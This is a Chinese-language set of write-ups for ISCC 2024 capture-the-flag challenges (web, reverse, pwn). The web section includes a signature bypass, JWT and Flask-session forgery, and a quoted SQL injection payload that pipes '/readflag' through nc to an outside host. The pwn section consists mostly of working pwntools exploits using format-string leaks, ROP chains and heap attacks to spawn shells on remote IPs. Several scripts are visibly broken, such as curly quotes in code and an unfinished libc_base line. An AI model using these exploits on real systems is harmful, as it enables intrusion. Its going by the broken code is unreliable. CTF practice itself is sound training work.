ISCC竞赛(人民的好比赛)2024
欢迎关注微信公众号交流
练武题
web
还没想好名字的塔防游戏
f12查看源码,world.js,查看提示
Bears Brew Storms
Opal Oceans Glow
Elves Whisper Wonders
网站首页看到
Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
去掉小写o与a首字母组合刚好18位
代码审计
题目
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json
app = Flask(__name__)
#随机16位
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
self.append_to_file(resp) # 追加内容到已存在的文件
result['code'] = 200
if "read" in self.action:
result['code'] = 200
result['data'] = self.read_from_file() # 从已存在的文件中读取
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
#调用了get_sign,
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.parse.unquote(request.args.get("param", ""))
action = "read"
print(request.args.get("param", ""))
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
print(request.cookies.get("action"))
print(request.args.get("param", ""))
print(request.cookies.get("sign"))
action = urllib.parse.unquote(request.cookies.get("action"))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
def scan(param):
try:
with open(param, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return "The file does not exist"
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode('latin1') +
action.encode('latin1')).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run()
由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。
访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。
根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+“scan”)
请求包
GET /geneSign?param=flag.txtread HTTP/1.1
Host: 101.200.138.180:12315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:16:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32
Connection: close
19528176342cf0870f5327eca3e88776
第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+“readscan”)
请求包
GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:17:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close
{"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}
原神启动
直接cve-2020-1938打
这题我出不了了
app.js
#!/usr/bin/node
/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/
const qs = require(“qs”);
const fs = require(“fs”);
const pg = require(“pg”);
const mysql = require(“mysql”);
const crypto = require(“crypto”);
const express = require(“express”);
const pool = mysql.createPool({
connectionLimit: 100,
host: “localhost”,
user: “ban”,
password: “ban”,
database: “bandb”,
});
const client = new pg.Client({
host: “localhost”,
user: “userdb”,
password: “userdb”,
database: “userdb”,
});
client.connect();
const KEYWORDS = [
“select”,
“union”,
“and”,
“or”,
“\”,
“/”,
“*”,
" "
]
function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}
const app = express();
app.use((req, res, next) => {
var data = “”;
req.on(“data”, (chunk) => { data += chunk})
req.on(“end”, () =>{
req.body = qs.parse(data);
next();
})
})
app.all(“/*”, (req, res, next) => {
if (“show_source” in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == “/”) {
return next();
}
var ip = req.connection.remoteAddress;
var payload = “”;
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}
if (payload.length > 0) {
var sql = INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?
;
} else {
var sql = SELECT ?,?,?
;
}
return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = SELECT * FROM blacklists WHERE ip=?
;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end(“Shame on you”);
}
});
});
});
app.get(“/”, (req, res) => {
var sql = SELECT * FROM blacklists GROUP BY ip
;
return pool.query(sql, [], (err,rows) => {
res.header(“Content-Type”, “text/html”);
var html = “
Here is the <a href=/?show_source=1>source, thanks to Orange\n\nHall of Shame
(delete every 60s)\n”;
for(var r in rows) {
html += ${parseInt(r)+1}. ${rows[r].ip}\n
;
}
return res.end(html);
});
});
app.post(“/reg”, (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end(“Bye”);
}
password = crypto.createHash(“md5”).update(password).digest(“hex”);
var sql = INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING
;
return client.query(sql.split(“;”)[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end(“Reg OK”);
} else {
return res.end(“User taken”);
}
});
});
app.listen(31337, () => {
console.log(“Listen OK”);
});
注入点在username,之后的sql被分号分割,因此在这里行不通
\1. 存在waf,过滤了斜杠
之前已经提到过造成漏洞原因,就是字段名过滤不严拼接进入了语句,但这个地方是insert,mysql中的insert是没有返回值的,所以没法注入.
在postgresql中,insert语法中存在RETURNING语法.
INSERT INTO table_name [ AS alias ] [ ( column_name [, …] ) ]
[ OVERRIDING { SYSTEM | USER} VALUE ]
{ DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, …] ) [, …] | query }
[ ON CONFLICT [ conflict_target ] conflict_action ]
[ RETURNING * | output_expression [ [ AS ] output_name ] [, …] ]
…
If the INSERT command contains a RETURNING clause, the result will be similar to that of a SELECT statement containing the columns and values defined in the RETURNING list, computed over the row(s) inserted or updated by the command.
这样就能控制返回,就可以绕过第一部分了.
由于payload一定需要\
,所以一定解决这个waf. 先来瞅瞅这个banip的流程,首先是判断你的请求查询和消息体中是否有黑名单中字符,如果有ip就会被加入黑名单,之后再从黑名单查询是否有你的ip…
这里如果在insert
报错,那么之后的查询就会不存在.
Mysql中,如果语句超过16M
就会触发错误,max_allowed_packet
就是mysql限制数据包大小的参数,如果超出就会插入错误.
from random import randint
import requests
# payload = “union”
payload = “”“‘,’')/%s/returning(1)as”\‘/“,(1)as”\'/-(a=child_process
)/“,(2)as”\'/-(b=/readflag|nc orange.tw 12345
)/“,(3)as”\'/-console.log(process.mainModule.require(a).exec(b))]=1//“–”“” % (’ '10241024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
‘username’: username+payload,
‘password’: ‘AAAAAA’
}
print ‘ok’
r = requests.post(‘http://13.113.21.59:31337/reg’, data=data);
print r.content
回来吧永远滴神
第一个提示查看网站源代码
提交进入隐藏关卡
源码
Base64->hex
Flag[0]: I{R_ifCs@j
测试界面SSTI,可能有waf
SSIT脚本
ls查看flag1与2
将源码下载下来审计
找到flag3加密逻辑
脚本解密运行
将四部分连一起
I{n_zIcCmoSFdoLEoaeoClrai_unIUCaehJST_k}
进行栅栏解密
Flask中的pin值计算
解码得到/getusername
访问
再次输入提示
访问路由,app
一秒内计算数学,写脚本
访问路由,解码
{“alg”:“HS256”,“typ”:“JWT”}{“name”:“donate”,“quantity”:1}
看源码部分,获取功德代码是这段,
.then(data => {
document.querySelector(‘h1’).textContent = ‘当前功德:’ + data.gongde;
document.querySelectorAll(‘h1’)[1].textContent = data.message;
ISCC_muyu_2024
将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt
敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id
点击vip拿到新的jwt
{
“exp”: 1714973848,
“iat”: 1714970248,
“jti”: “slBj9vxEIRLuzzXLPqu0AA”,
“nbf”: 1714970248,
“role”: “member”,
“username”: “ISCCmember”
}
需要role改为supervip,脚本构造
bp传参,显示welcome_to_iscc_club,应该是supervip
的key
使用flask_session_cookie_manager3.py伪造jwt
eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik
bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id
运行pin脚本
输入pin得到flag
掉进阿帕奇的工资
随便注册账号,进行登录
职称不能填写,f12看一下
Job被隐藏,bp抓包手动添加admin
尝试登录,显示不行,点击信息重置,选择密保方式
登陆成功
输入ls和11
返回]B
推测是xor
输入]B 11
我们通过看dockerfile
secret.host:
image: nginx
container_name: secret.host
volumes:
- ./:/etc/nginx/conf.d/
猜flag在http://secret.host/flag内
Payload
php -r “echo file_get_contents(‘http://secret.host/flag’);”
读取到flag
reverse
迷失之门
import re
def find_sequence_and_concatenate(file_path):
pattern = b'\x0F\xB6\x00\x3C(.)'
with open(file_path, 'rb') as file:
data = file.read()
matches = re.findall(pattern, data)
result = ''.join([match.decode('latin1') for match in matches])
return result
file_path = 'ez.exe'
result = find_sequence_and_concatenate(file_path)
print(result)
enc = bytes(result, encoding='UTF-8')
key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"]
# print([i + 51 for i in key])
index = []
for i in enc:
i_char = chr(i)
if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char))
elif i_char in "abcdefghijklmnopqrstuvwxyz":
index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26)
elif i_char in "0123456789+/-=!#&*()?;:*^%":
index.append("0123456789+/-=!#&*()?;:*^%".index(i_char) + 52)
else:
print("wrong")
# print(index)
for i in range(len(index)):
print(chr((key[i] + index[i])), end='')
AI
将文件反编译
# uncompyle6 version 3.9.1
# Python bytecode version base 3.9.0 (3425)
# Decompiled from: Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)]
# Embedded file name: T4.py
# Compiled at: 2024-02-23 15:11:35
# Size of source mod 2**32: 1586 bytes
Unsupported Python version, 3.9.0, for decompilation
AI-13.7z需要密码
Base64先编码字符串,osset_str设置偏移量对字符串异或与偏移量加减运算还原原始字符
对解密后的key进行解压缩提取到当前目录
循环读取24个以数字命名的图像文件
_7zname = 'AI-13.7z'
offset_str = '123456789012345678901234'
target_base64 = 'TWF/c1sse19GMW5gYVRoWWFrZ3lhd0B9'
import base64
def decrypt(encrypted_base64, offset_str):
encrypted_bytes = base64.b64decode(encrypted_base64.encode('utf-8'))
encrypted_str = encrypted_bytes.decode('utf-8')
decrypted = []
for i, char in enumerate(encrypted_str):
offset = int(offset_str[i])
ascii_val = ord(char) ^ offset
if i % 2 == 0:
original_ascii = ascii_val - offset
else:
original_ascii = ascii_val + offset
decrypted_char = chr(original_ascii)
decrypted.append(decrypted_char)
return ''.join(decrypted)
key = decrypt(target_base64, offset_str)
# # Key{Y0u_F1nd_The_key_w@}
import py7zr
with py7zr.SevenZipFile(_7zname, mode='r', password=key) as z:
z.extractall()
import torch # torch基础库
import torch.nn as nn # torch神经网络库
import torch.nn.functional as F
import torchvision.transforms as transforms # 图像处理库
from PIL import Image # 图像处理库
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.fc1 = nn.Linear(28 * 28, 128)
self.fc2 = nn.Linear(128, 64)
self.fc3 = nn.Linear(64, 10)
def forward(self, x):
x = x.view(-1, 28 * 28)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x
model = torch.load("confused_digit_recognition_model.pt")
model.eval()
transform = transforms.Compose(
[
transforms.Grayscale(num_output_channels=1),
transforms.Resize((28, 28)),
transforms.ToTensor(),
transforms.Normalize((0.5,), (0.5,)),
]
)
dic = {
"0": "@nd",
"1": "a!",
"2": "_",
"3": "F",
"4": "SSS",
"5": "W@",
"6": "K",
"7": "1",
"8": "C",
"9": "d",
}
flag = []
for i in range(24):
image = Image.open(str(i + 1) + ".png")
image = transform(image).unsqueeze(0) # type:ignore
output = model(image)
predicted = torch.argmax(output, dim=1)
flag.append(predicted.item())
flag = "".join(map(str, flag))
for k, v in dic.items():
flag = flag.replace(k, v)
print(flag)
CrypticConundrum
检查有壳,upx进行脱壳
使用ida64打开
转换16进制
def decrypt(enc, key1, len_key2):
for i in range(len_key2):
enc[i] = (enc[i] - 10) % 256
for m in range(len_key2 - 1):
enc[m] = (enc[m] + enc[m + 1]) % 256
for k in range(len_key2 - 1):
enc[k] ^= ord(key1[2])
for j in range(0, len_key2, 2):
enc[j] ^= ord(key1[j % 4])
for i in range(len_key2):
enc[i] = (enc[i] + ord(key1[i % 4])) % 256
if __name__ == "__main__":
enc = bytearray(
[0xbb, 0x63, 0xf4, 0x20, 0x37, 0x15, 0x98, 0x99, 0x32, 0x0a, 0x68, 0x9d, 0x21, 0xf2, 0xbe, 0x71, 0x09, 0x27,
0x3c, 0xd2, 0xe9, 0x47, 0x32, 0xf0, 0xc0, 0x34])
key1 = "ISCC"
key2 = "So--this-is-the-right-flag"
len_key2 = 26
decrypt(enc, key1, len_key2)
print(enc.decode('utf-8'))
Which_is_the_flag
import base64
print(“ISCC{” + base64.b64decode(bytes.fromhex(“”.join([chr(get_wide_byte(0x14000BF40+i) ^ 0xc) for i in range(48)])).decode(‘utf-8’)).decode() + “}”)
Badcode
num = [-784753581, -1204695773, 1903142339, -1779399242, 1068922784, -73317484]
hex_representation = [hex(n & 0xFFFFFFFF) for n in num]
print(hex_representation)
from Crypto.Util.number import *
def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))
def encrypt(v, k):
delta = 0x61C88647
n = len(v)
rounds = 6 + 52 // n
x = 0
z = v[n - 1]
for i in range(rounds):
x = (x - delta) & 0xFFFFFFFF
e = (x >> 2) & 3
for p in range(n - 1):
y = v[p + 1]
v[p] = (v[p] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
z = v[p]
p += 1
y = v[0]
v[n - 1] = (v[n - 1] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
z = v[n - 1]
return v
def decrypt(v, k):
delta = 0x61C88647
n = len(v)
rounds = 6 + 52 // n
x = (0 - rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x + delta) & 0xFFFFFFFF
return v
if __name__ == '__main__':
plain = [0xd1399c53, 0xb831cd23, 0x716fa5c3,0x95f085b6,0x3fb677a0, 0xfba14394]#输入自己比较的字符
key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]
decrypted = decrypt(plain, key)
flag=[]
v16='674094872038771148666737'
for i in range(len(plain)):
x=long_to_bytes(decrypted[i])
for j in range(3,-1,-1):
flag.append(x[j])
for i in range(len(flag)):
flag[i]^=ord(v16[i])-0x30
if i%2:
flag[i]-=2
else:
flag[i]+=3
print(bytes(flag))
WinterBegins
64ida分析,两段加密
在此断点,程序运行
De调试
脚本
cmp = []
for i in range(300):
a = get_wide_byte(0x14001E38D + i)
if a == 0:
break
cmp.append(a)
print(cmp)
import string as s
def solve_vm(d):
v = len(d)
v5 = [0 for i in range(v)]
v4 = v -1
i = 3902
while(True):
while True:
while i == 153:
v5[v - v4] = d[v4]
v5[v - v4 - 1] = d[v4 - 1]
i = 292
if i != 292:
break
v4 -= 2
i = 3902
if i != 3902:
break
v1 = 12382
if v4 >= 0:
v1 = 153
i = v1
v5 = [hex(i)[2:] for i in v5]
return [int(v5[i+3]+v5[i+2]+v5[i+1]+v5[i],16) for i in range(0,len(v5),4)]
def get_res(strs, d):
d = solve_vm(d)
return [strs.index(i) for i in d]
def crack(check=False, datas=None):
fl = ""
if check:
result = [hex(i)[2:] for i in datas]
else:
result = datas
ptr = 0
while(ptr < len(result)):
temp = result[ptr]
station = None
ptr += 1
temp += result[ptr]
if temp[1] == "b":
ptr += 1
station = result[ptr]
if station is not None:
temp = hex(int(temp,16) + int(station) - 5)[2:]
#print(chr(int(temp,16)),temp,station)
fl += chr(int(temp,16))
ptr += 1
return fl
def get_rw(fl):
t_fl = ""
for pos,elem in enumerate(fl):
if elem in s.digits:
target_string = t_fl[-1]
for _ in range(int(elem) - 1):
t_fl += target_string
else:
t_fl += elem
return t_fl
d = [187, 168, 196, 171, 180, 229, 199, 176, 187, 168, 196, 171, 176, 215, 212, 194, 187, 168, 196, 171, 187, 168, 196, 171, 180, 229, 199, 176, 191, 180, 215, 237, 202, 171, 208, 194, 187, 168, 196, 171, 210, 201, 187, 208, 191, 180, 215, 237, 206, 194, 202, 177, 191, 180, 215, 237, 176, 215, 212, 194, 191, 180, 215, 237, 206, 194, 202, 177, 180, 229, 199, 176, 191, 180, 215, 237, 176, 215, 212, 194, 180, 229, 199, 176, 191, 180, 215, 237, 202, 171, 208, 194, 191, 180, 215, 237, 210, 201, 187, 208, 191, 180, 215, 237, 191, 180, 215, 237, 187, 168, 196, 171, 177, 202, 182, 179, 187, 168, 196, 171, 187, 168, 196, 171, 187, 168, 196, 171, 176, 215, 212, 194, 191, 180, 215, 237, 187, 168, 196, 171, 187, 168, 196, 171, 202, 171, 208, 194, 191, 180, 215, 237, 190, 198, 195, 192, 191, 180, 215, 237, 202, 171, 208, 194, 191, 180, 215, 237, 210, 201, 187, 208, 180, 229, 199, 176, 206, 194, 202, 177, 206, 194, 202, 177, 180, 229, 199, 176, 187, 168, 196, 171, 208, 180, 192, 193, 194, 175, 186, 174, 194, 175, 186, 174, 190, 198, 195, 192, 194, 175, 186, 174, 206, 194, 202, 177, 210, 201, 187, 208, 190, 198, 195, 192]# input data
strs = [3400643510, 2882192080, 3033579968, 2948771514, 3334389955, 3268325834, 3032477143, 2830871492, 3618685652, 3386036411, 4207061457, 3853824199]
print(get_rw(crack(True,get_res(strs,d))))
Find_All
v4 = [get_wide_byte(0x00401625 + i * 7) for i in range(24)]
for i in range(0, len(v4) - 1, 4):
v4[i + 2] ^= v4[i + 3]
v4[i + 1] ^= v4[i + 2]
v4[i] ^= v4[i + 1]
# Convert the list of integers to a string
result = ''.join(chr(byte) for byte in v4)
print(result)
I_am_the_Mathematician
解压发现txt文档,与exe有关
无壳
拉到IDA64分析
脚本运行
def fib(n):
a,b = 0,1
lis = []
for i in range(n):
a,b =b,a+b
lis.append(a)
return lis
with open(r"code_book_45.txt","r") as file:
data = file.read()
file.close()
target = fib(20)
\# print(target)
assert target[-1] > len(data)
print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else '' for i in target])}}}")
DLLCode
先分析,一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳
直接看main()函数:
C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)—>进行编码—>进行了一个加密操作—>比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);
这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8
s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98]
s1 = s[:12]
v7 = s[12:]
v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9]
s2 = [0] * 12
for i in range(len(s2)):
s2[i] = v7[v4[i]]
key = "ISCC"
for i in range(len(s1)):
s1[i] ^= ord(key[i % len(key)])
result = ""
for i in range(len(s1)):
result += chr(s1[i]) + chr(s2[i])
print(result)
pwn
chaos
1
64
asd
5
64
asf
2
0
5
64
FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag
ls拿到flag
ISCC_easy
from pwn import *
from ctypes import*
from ctypes import*
from numpy import*
from LibcSearcher import*
p = remote('182.92.237.102', 10013)
libc=ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')
context.arch='i386'
mydaya=0x804C030
payload=fmtstr_payload(4,{mydaya:5})+b'%15$p'
p.send(payload)
p.recvuntil(b'0x')
libc_add=int(p.recv(8),16)
libcbase=libc_add-libc.sym['__libc_start_main']-245
success('libcbase '+hex(libcbase))
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x90+0x4)+p32(system)*2+p32(str_bin_sh)
p.recvuntil(b'Input')
p.sendline(payload)
p.interactive()
easyshell
from pwn import *
context(log_level='DEBUG')
p = remote('182.92.237.102', 10011)
p.recvuntil(b"shell")
payload = b'flagis %15$p.%17$p'
p.sendline(payload)
s = p.recvuntil(b'flag')
# 获取canary和piebase
canary,main152 = s[3:].split(b' ')[0].split(b'.')
piebase = int(main152,16)-0xfe-0x1422
canary = int(canary,16)
success("canary: "+hex(canary)+"\npiebase:"+hex(piebase))
# 计算backdoor函数地址,+5为了跳过push
backdoor_addr = piebase+0x1289+5
payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr)
p.sendline(payload)
p.recvuntil(b'"help"')
p.sendline(b'exit')
p.interactive()
miao
from pwn import *
from LibcSearcher import *
#io=process("./attachment-41")
io=remote("182.92.237.102",10015)
elf=ELF("./attachment-41")
io.recvuntil(b"?\n")
io.sendline(b"%31$p")
io.recvuntil(b"0x")
canary=int(io.recv(4*2),16)
print(hex(canary))
eax=0x080b8666
ebx_edx=0x0806f309
ecx=0x080def3d
bin_sh=0x80BB7C8
int_80=0x0806cf83
payload=b"a"*0x64+p32(canary)
payload=payload.ljust(0x74,b"a")
payload+=p32(eax)+p32(0xb)+p32(ebx_edx)+p32(bin_sh)+p32(0)+p32(ecx)+p32(0)+p32(int_80)
io.sendline(payload)
io.interactive()
Flag
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')
#io = process('./attachment-12')
io = remote('182.92.237.102',10012)
io.recvuntil("what's the content?")
payload = '%p-'*18 + 'aaaa%p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('aaaa')
canary = int(io.recv(10),16)
success('canary---->'+hex(canary))
io.recvuntil('Input:\n')
puts_plt = 0x08049130
puts_got = 0x804C01C
pop_ebx = 0x08049022
ret = 0x0804900e
#gdb.attach(io)
back = 0x0804931B
main = 0x80494C2
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got)
io.send(payload)
puts = u32(io.recv(4))
success('puts---->'+hex(puts))
pause()
system = puts - 0x06d1e0 + 0x041360
binsh = puts - 0x06d1e0 + 0x18c363
io.recvuntil('Input:\n')
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh)
#gdb.attach(io)
io.send(payload)
io.interactive()
Your_program
使用gets函数,存在栈溢出,构造roc链子
指针+38或o中指针+48的地址作为函数指针用read函数来读输入
调用printf
import time
context(arch="amd64",log_level="debug")
\#p = process("./your_program")
p = remote("182.92.237.102",10032)
elf = ELF("./your_program")
def get_addr(p):
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
printf_got = elf.got["printf"]
printf_plt = elf.plt["printf"]
puts_plt = elf.plt["puts"]
pop_rdi_ret_add = 0x0000000000401763
ret_add = 0x000000000040101a
main_add = 0x00000000004014C8
auth_add = 0x000000000040127A #has overflow
o_add = 0x0000000000403668
key = b"A"*32 + p64(0) + p64(pop_rdi_ret_add) + p64(printf_got) + p64(puts_plt) +
p64(main_add)
p.sendlineafter("Enter key:",key)
printf_add = get_addr(p)
print(hex(printf_add))
libc_base = printf_add -
system_add = libc_base +
0x052290
\#bin_sh_add = libc_base + 0x1b45bd
def func1(payload):
\#存在格式化字符串漏洞
p.sendlineafter(">",b"2")
p.sendline(payload)
def clear(choice=b"n"):
p.sendlineafter(">",b"4")
p.sendlineafter("Are you sure you want to exit? (y/n)",choice)
def func2(payload):
\#可以申请个堆块写内容
p.sendlineafter(">",b"3")
p.sendline(payload)
offset = 6
key = b"A"*28
p.sendlineafter("Enter key:",key)
p.sendlineafter("Welcome to ISCC, tell me your name:",b"hacker")
payload = b"%7$s".ljust(8,b"\xff") + p64(o_add)
func1(payload)
p.recvuntil("hello hack\n")
heap_base = u64(p.recvuntil(b"\xff")[:-1].ljust(8,b"\x00"))
print(hex(heap_base))
\#gdb.attach(p)
clear(b"\x24")
clear()
func2(p64(0)*3+p64(system_add))
payload = f"%{0x3024}c%9$hn".encode().ljust(0x18,b"\xff") + p64(heap_base)
func1(payload)
print(hex(libc_base))
p.interactive()
ISCC_U
使用checksec分析
Ida分析有固定加载地址,利用内存地址进行攻击
from pwn import *
from LibcSearcher import*
p=remote('182.92.237.102',10016)
libc=ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')
def create(Size,Content=b'a'):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(bytes(str(Size),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def free(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def show(id):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
create(0x500)
create(0x20)
free(0)
create(0x500,b'a'*4)
show(0)
libc_add=u32(p.recvuntil(b'\xf7')[-4:])
malloc_hook=libc_add-56-0x18
libcbase=malloc_hook-libc.symbols['__malloc_hook']
system=libcbase+libc.symbols['system']+1
puts=libcbase+libc.symbols['puts']
success('malloc_hook '+hex(malloc_hook))
success('libcbase '+hex(libcbase))
free(1)
free(2)
create(0x8,p32(system)+b';sh;')
show(1)
p.interactive()
eazy_heap
先checksec
有沙盒,看一下禁用
看一下过滤
继续看add函数与edit函数发现off_by_null漏洞
利用large chunk 泄露出libc和heap地址,再进行unlink实现堆重叠
from pwn import*
context(arch=amd64;, os='linux',log_level="debug")
libc = ELF("./libc.so.6")
elf =ELF('./CAT_DE')
p = process('./CAT_DE')
def add(size,content):
p.sendlineafter("input your car choice >> ","1")
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def edit(idx,content):
p.sendlineafter("input your car choice >> ",'4')
p.sendlineafter("idx:",str(idx))
p.sendafter("content:",content)
def show(idx):
p.sendlineafter("input your car choice >> ",'3')
p.sendlineafter("idx:",str(idx))
def dele(idx):
p.sendlineafter("input your car choice >> ",'2')
p.sendlineafter("idx:",str(idx))
add(0x440,"AAA")
add(0x88,"AAA")
